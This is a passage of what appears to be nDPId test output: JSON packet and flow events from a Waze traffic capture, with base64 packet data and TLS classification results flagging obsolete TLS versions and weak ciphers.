+00408{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":594760,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodVRAABAGgJywIrq0CggAAQG7jdxh36Y4niBoqFAQ\/\/+cfAAA"} +00730{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":914128,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdVtAABAGf6uwIrq0CggAAQG7jdxh36Y4niBoqFAY\/\/8+EwAAFgMBAKoEAACmAAABLACguRveXhDifa8+Zvsue43SnjJXVgcNlqsTrwV6Ac2PJDhtRn9DSp6ZuHu5FXbIS6dYrPDPXtOyK21XS83nle4rgMJ44Cn\/B6Janwhq\/a0WWjJt3I6W\/6YuouI6g8npQNo7XrtXRRSDtcS4+21uIgdcnOrpGGKet+sWRdSOnQayx6Ovh2Dc7JdyhIDjxM\/nTWErXsTeUL4hWyFp\/s+i56aLOBQDAQABARYDAQAwJ5yFje3xpcCXhGqa1caKqxAK\/+o1fMSorNw0kFwdp2PV6NcrmjAANoqC111UI9fe"} +00409{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":964707,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoFxRAAEAGrtwKCAABsCK6tI3cAbueIGioYd+nIlAQ\/\/+bkgAA"} +00898{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587882,"pkt_ts_usec":254690,"pkt_caplen":411,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":411,"pkt_l4_len":377,"pkt":"ABoRAAACABoRAAABCABFAAGNFxVAAEAGrXYKCAABsCK6tI3cAbueIGioYd+nIlAY\/\/\/LuwAAFwMBAWBz\/Y4ihslC530kyEJY9kmsHeab918K11CITD6yUFqbVyqZWyGTUZOXkW5n8BxaQZMeIXJknbIg5JlV87FmUapD\/BDfoCo4Xky22j8moNe49+9P09NSWTRICMHw4VsNufHiGxBbTVMydYvzozmNbj+45NMiSbcSvlbBtJFERHXf7A\/enk3jVV3rqz7\/HrKmCtk2OJuVmIGcmz3i8HBZjQtjPmMOGu5nzd582dTlN8no7z96Zh7Rg26TiOpvwTXjxbAH\/gZ1b+gRQQ+5hdYRj9riqNtjABLIOX7L3Es6h8NnTrphxx7mfaN21bfTkb2UE9EVnp6oNnMjiiiHg2o0RyJBksunAygPeFansj4bgAlxc0PBQUnDY2vEq2Nrn9EvpHX3s2duLj4p\/S5FiOKH+90jWsSqaWF\/FVPcDjWWDGhAsp14msfUZUlXulKy6\/2kqU\/rW2rfdFWrp1IuTd+nqpiz"} +00409{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587882,"pkt_ts_usec":255080,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodV1AABAGgJOwIrq0CggAAQG7jdxh36ciniBqDVAQ\/\/+aLQAA"} +00461{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587882,"pkt_ts_usec":255233,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNFxZAAEAGrrUKCAABsCK6tI3cAbueIGoNYd+nIlAY\/\/8mlQAAFwMBACDJjEu8pRJQ7ss+2IWucIURIZTqPsggb3KHjbrCpRJa4Q=="} +00409{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587882,"pkt_ts_usec":255446,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodV5AABAGgJKwIrq0CggAAQG7jdxh36ciniBqMlAQ\/\/+aCAAA"} +00458{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587882,"pkt_ts_usec":433893,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNMsZAAEAGQsEKECWdriXnUaUQFGaA18okWhY9doAYAVciEwAAAQEICgAIcWhBJdw4gAAWBXL2KZLscQ7\/r4Q3YR6R6YsREWIs0w=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":532,"source":"waze.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1435587894241,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36134,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":532,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":241434,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA87+5AAEAGZNsKCAABLjOtto0mAbvDfJnqAAAAAKAC\/\/\/\/twAAAgQFtAQCCAoACHYEAAAAAAEDAwg="} +00409{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":533,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":244164,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXFAABAGD20uM622CggAAQG7jSY8g2YVw3yZ61AS\/\/86\/gAA"} +00409{"flow_id":31,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":534,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":244582,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7+9AAEAGZO4KCAABLjOtto0mAbvDfJnrPINmFlAQ\/\/86\/wAA"} +00659{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":535,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":323314,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADe7\/BAAEAGZDcKCAABLjOtto0mAbvDfJnrPINmFlAY\/\/+u+wAAFgMBALEBAACtAwFHEcC8WvO2sF2kYiE8YWqxi\/TdpMl6\/BrnTeWud37DVAAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":535,"source":"waze.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":4,"flow_first_seen":1435587894241,"flow_last_seen":1435587894323,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36134,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":323591,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXJAABAGD2wuM622CggAAQG7jSY8g2YWw3yaoVAQ\/\/86SQAA"} +04653{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":759207,"pkt_caplen":3201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3201,"pkt_l4_len":3167,"pkt":"ABoRAAACABoRAAABCABFAAxzdXNAABAGAyAuM622CggAAQG7jSY8g2YWw3yaoVAY\/\/+bTAAAFgMBADUCAAAxAwEQ4j+T34l3QXjFbZfKigUFFyjrCdRbNzyFwlg2YjoxCQAANQAACf8BAAEAACMAABYDAQwDCwAL\/wAL\/AAEfjCCBHowggNioAMCAQICCHZ4M8fShJA1MA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE0MTEwNjE2MDkyMFoXDTE1MTEwNjE2MDkyMFowajELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxGTAXBgNVBAMMECoud29ybGQud2F6ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5dfWK79dCVb2w7\/g3HRrN4i9qgMlhgQofXQQXw0gD87T9syXmF5pz0Cwmmw7pjObFe\/feCHhP5Q5TYPxHvQFVRms3bi3u+ghHQQErMDQ+nN0nE87Jr74s0kO4gi5kxlnWO5u\/CLx56XE08DG89cYwLep2yXaw7FpQ88oYQg1iuiHwkbjtoRpijShFrwII4yGENpw3VHkb6Fx\/gAEFaQxZm6zeckwQ1HY64ImqtGYTIGt4mDB1FJaTUZwduWO6oPZLB\/Kr54+3jOco4hPhs\/aZ7TMra\/18qq1rDcwobkr4\/HCy6N0TGrQ6Dyn4sPpnwba++QjAmdGfjGSZmIvFi42lAgMBAAGjggFDMIIBPzAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwGwYDVR0RBBQwEoIQKi53b3JsZC53YXplLmNvbTBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcnQwKwYIKwYBBQUHMAGGH2h0dHA6Ly9jbGllbnRzMS5nb29nbGUuY29tL29jc3AwHQYDVR0OBBYEFNZsbyCbuRAq04t6Ot9dGm1t3uVoMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAUSt0GFhu89mi1dvWBtrtiGrpagS8wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcmwwDQYJKoZIhvcNAQEFBQADggEBAFaY2zopJZdE3mmntQjiL6V0yWpBnkS3\/vdmjvi7m0l8VT3fDFeuTu6nvu5k81XJXuDi\/QV01oDgfZuZsV2qZV4S8xqLmj\/8s8QnmcTeHpomDMSdjXTXziFnSkko3MHsuUeD3+MGC1nPfT5fsZillvuFCuBa9EdwSkLYUOi3Mlp3bk6Tl94tG9aBCkhS9VYoZ3uVQ8YKxxo2feCGxvelUxlMnHtG1cv5a\/1EGGP3Gcuou9O0zWYPP0fFQk+hOSuPNmdovXtxh1Re1KKIL0UVsXBYJhTMfrcrZHoBdcnUY5men8tY5KeGAL6RhV+\/2r0ZIy51ZzR1MkbMjkDu3BOeFXQAA\/QwggPwMIIC2KADAgECAgMCOnYwDQYJKoZIhvcNAQEFBQAwQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTAeFw0xMzA0MDUxNTE1NTVaFw0xNjEyMzEyMzU5NTlaMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnCoEd1zYUJE6BqOC4NhQSLyJP\/EZcBqIRn7gj8Xxic4h7lr+YQ23MkSJoHQLU09VpM6CYpXu61lfxuEFgBLEXpQ\/vFtIOPRT9yTm+5HpFcTP9FMN9Er8n1Tefb6ga2+HwNBQHygwA0DaCHNRbH\/\/OjynNwaOvUsRBOt9JN7m+fwxcfuU1WDzLkqvQtLL6sRqGrLMU90VS4sfyBlhH82dqD5jK4Q1aWWEyBnFRiL4U5W+44BKEMYq7LqXIBHHOZkQBKDwYXqVJYxOUnXitu0IyhT8ziJqs07PRgOXlwN+wLHee69FM8+6PnG33vQlJcINNYmdnfsOEXmJHjfFr45yaQIDAQABo4HnMIHkMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBRK3QYWG7z2aLV29YG2u2IaulqBLzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5zeW1jZC5jb20wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMA0GCSqGSIb3DQEBBQUAA4IBAQAnjM\/pxzu+wG\/oloT7nFxdkOR324syYJtl2IUmtbqfHt5kTh\/GyCBbCZ+rqeAJNEWiZSU3PX9abyDM+frxHY8QDAI6xMkBdpa+m\/kV2DnRxQNHdriKjDHWYNXkj9v6PMbVmCj4HI8XkTTLy1J60fs6IOThhrHYGA++1odkjcUKJUJR77I4uOAd0OH85vSvRrrvwL\/FtAX1lHUM\/qK+Arrqhlv5NbNm9cWNhaEaI3caGRdUE2CfC+G0nCgq+a4CNG0lk5yCqBd78YWw0w9Y4fux\/pyho+j9yT\/013HcvYykGeAhIyNVE4+kFgIJfrmv7ttTZL1xL7k5zjC3tLxU4EcHAAOBMIIDfTCCAuagAwIBAgIDErvmMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDIwNTIxMDQwMDAwWhcNMTgwODIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdqfnGk5sRgprDvgOSJKA+eJdbtg\/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+VcT4wt\/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo4HwMIHtMB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ\/UMB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsLmdlb3RydXN0LmNvbS9jcmxzL3NlY3VyZWNhLmNybDBOBgNVHSAERzBFMEMGBFUdIAAwOzA5BggrBgEFBQcCARYtaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5MA0GCSqGSIb3DQEBBQUAA4GBAHbhEm5OSxYShjAGsoEIz\/AIx8dxfmbuwu3UOx\/\/8PDITtZDOLC5MH0Y0FWDomrLNhGc6Ehmo21\/uBPUR\/6LWlxz\/K7ZGzIZOKuXNBSqltLroxwUCEm2u+WR74M26x1Wb8ravHNjkOR\/ez4iyz0H7V84dJzjA1BOoa+Y7mHyhD8SFgMBAAQOAAAA"} +01059{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":537,"source":"waze.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":6,"flow_first_seen":1435587894241,"flow_last_seen":1435587894759,"flow_tot_l4_data_len":3469,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3167,"flow_avg_l4_data_len":578,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36134,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00410{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":810795,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7\/FAAEAGZOwKCAABLjOtto0mAbvDfJqhPINyYVAQ\/\/8t\/gAA"} +00854{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":811066,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu7\/JAAEAGY6UKCAABLjOtto0mAbvDfJqhPINyYVAY\/\/+IdQAAFgMBAQYQAAECAQAHMdJhJQ03yx9btB7RGhSehGjrtQuWMePdiLRrcV08tBv2mJB\/HJ\/FTWU3wdrHYlLCot5oPQB00X80aRZkmv0BgeS140QWzoZMuJ\/1+e2\/TBSIlh5kvmN2V6u6BVLZo6hM4DaEjgpMkVymtCjilCf0e1rtIFVwKmJwaEVqFdZblXhePOjEAu6VGJbBbZ8de8Ry926a4ToJRlH0qXBLyY+Ty8eWFpkP56taM15hK09nVHzb52OCzk5I214tv7aghGmXXviLc7jMpbPGdBm1z1El\/GsK37Xcu7Xw191qsMM7+S85hpL0pxlWK8sVmoe4TSQJs3jEN95GzHgDNzpIg+DfFAMBAAEBFgMBADAZpiiO3QsW\/8kGzF4Q9JbsqebjOVIFvU31cZ8Vz5E919l+vyZZq3ksvhayugl7RoI="} +00408{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587894,"pkt_ts_usec":811376,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXRAABAGD2ouM622CggAAQG7jSY8g3Jhw3yb51AQ\/\/8suAAA"} +00728{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587895,"pkt_ts_usec":48015,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdXVAABAGDn8uM622CggAAQG7jSY8g3Jhw3yb51AY\/\/\/VMgAAFgMBAKoEAACmAAABLACg+DNooxMI1xMpQjOwcaWLJ6pYMsRRGJ1d9FELicARaPOaOcLiwNWRKVZRL15NOZovdKDRBJZMzEYApKwm4+Hui3ZkSpEBkRuzpeGlLHAWLu\/Fj2SgxEL4orVKY4tdSUXj9yG\/VdCyajTjkpAVOX1rkurLLjAkge\/0LqhMgCnlk8WBs27YrLvWSOrOIEaRc2jJ6xRPWa8C3XEgYWFcoRA5xBQDAQABARYDAQAwI72H3vp1CBuHlHA2TNgpJ\/9yWTMe+VE6uCn5LGd8WNKOTMwOqKLDg9romtgepIV5"} +00614{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587895,"pkt_ts_usec":99567,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ABoRAAACABoRAAABCABFAAC97\/NAAEAGZFUKCAABLjOtto0mAbvDfJvnPINzS1AY\/\/+k0QAAFwMBAJAY3cmPW1W8S3N27ZTK8sX2UQjZ2dfMxoDzddg5AuSh\/F4DbQzKYHvYt9TmogIBUwKoOv06KEYgoJDM6\/8hkE0ej5zyob2UtXeSujYbjPlYh9oY4LVTDHeY15lDqDVEVOvFe8WtlU0d7eSeKnOb1UHnqrsdUg3lWwn6gE5uyeDnVrzrdlSXswZkmNMqlUA5Xak="} +00409{"flow_id":31,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587895,"pkt_ts_usec":100170,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXZAABAGD2guM622CggAAQG7jSY8g3NLw3ycfFAQ\/\/8rOQAA"} +00857{"flow_id":31,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587895,"pkt_ts_usec":100327,"pkt_caplen":379,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":379,"pkt_l4_len":345,"pkt":"ABoRAAACABoRAAABCABFAAFt7\/RAAEAGY6QKCAABLjOtto0mAbvDfJx8PINzS1AY\/\/8xfAAAFwMBAUAf8ZIZRslROTmOde2OuuGAPeZe\/0aO3UqjK1ymBw0kdi2Uxdt5WwqJ\/iHfLnJAiMfTUkzKMd0X9qM0pQ6wh8iRquJoaFEIGChYeuA9de64sej6ZpO65TWX6KVGSMaqHbrZfBaR+s9U4n2kxxdBN9vKk8nuntb7\/qW5VnE7RjzrUWk5aW7SxXna3nJaYzpqK2vd1Blg+3HELCxXq43UTyr1qt4Jh+MXjKuwI1Gu8Id0IVSFWB8vLWTeqA7bdYxGxlOLN1a2rN4ZiwLK\/mPvllPCkzzZ4ws2sliP2jwlLWi2MGd3yLYPlA0lAvHMD1eQt+MURh7Yx55b0GHDGtDtrYO2JShyl50M\/NRYsBUY7\/Z013G65klOYlc\/z8QCBooQnIEah+3uLe06zn4vVpo6ijP8IcZcsfv2VGeunb+KvmE\/aA=="} +00409{"flow_id":31,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587895,"pkt_ts_usec":100850,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodXdAABAGD2cuM622CggAAQG7jSY8g3NLw3ydwVAQ\/\/8p9AAA"} +01597{"flow_id":31,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587896,"pkt_ts_usec":73575,"pkt_caplen":923,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":923,"pkt_l4_len":889,"pkt":"ABoRAAACABoRAAABCABFAAONdXhAABAGDAEuM622CggAAQG7jSY8g3NLw3ydwVAY\/\/87dAAAFwMBA2A2VA5Jj7cO9pApwyDIdxxg8\/UjgRJsxYaRzHDRENsmWZl1WI7fVfR4B5xjdb4\/t9QQtXz5h49q0b\/Xg500krtzUWxK\/QYx3dqITIRLYh6JZYNmMafg2d27bhn5MpDoYiscoQjD1tHUclH\/VgympT8SfQhNLI4K9+Q83ZY9z5uip8BmVMhl8la4ueRo32jlbqz0UQpNimcSyq1zrHPJa3WErJIA+fv2dRZSR5V6cHjiWXedYRFRp2m8Eg6VjGJn4z+8RrYz17x74rv19megcx4\/X2wf5jCEeS0F75HrGsw6FPIm\/ZGCqhrt4GT0kHAj9nDtL94vV2J\/E113MA1EI1sFmjVJR\/+j2txK1COo+POk1qxYa3aD3OVhETVwFg0tRbKEzr6ziv5\/eUz\/EgtjPukb84kc9eoz+RspRlyWTBeEb2IwQug8PV0basXPGScYFcViIRNUhGisSKb+ECUeDNdrgJUsj6iCXLxpZuyfIFUsl\/k8beJBTTyUzVObjOZWnDvr8zgsVD\/aqQlejPJu\/bGOdv2RPNhi44rA7ADLOTCL0SFPzjL6mJ3Muzi46h6KKDSTHZ7zh8ILOnbBnawF1CjMUcFeeWjIz5emJwhkYCqaMMcdoV\/1FdUEpRB8o9ToDSh2YLg9vlbvzgGfXTPG8D4LkdGCQc5ktaFoKlfUtFrPTMADtJZx66zByffXq1KtHb7ve2t2lsj7SxGQ8OypXTQ6il\/3WfjE6MFbGBEAkPeUGgGOeXNr1lKzCUQVzcBV3xP24bUi1XGWcHXpwjOn\/8ESKcji5YnPWAInH5Ul5TZM1oEOnlCVbAckFaUhep5XYaZYScR4apwu1PQuS\/eMZzQ\/5WjQ7KXluT\/ztoLclXBOPcSTc\/qdLuQZ77L0V\/nufW+BWc5X0V53yBJimsEHKuNPnAIEV91bhekGyIIRenTVsOnYMZoDWFpXfk\/mXPfIeN8HaxjU1un46pm1e0nWcw6hMfkTK32rDfDT9Mrrn20rQuLNhKBhJFf2qjd\/5Hfa2+A219Iwz5Ny0RTYWXYzfhAdsaHIx2de0MQ9aZoE\/ZgnTQj5Jbgxe3pxCCDujJF0h0NdEWBWVFEM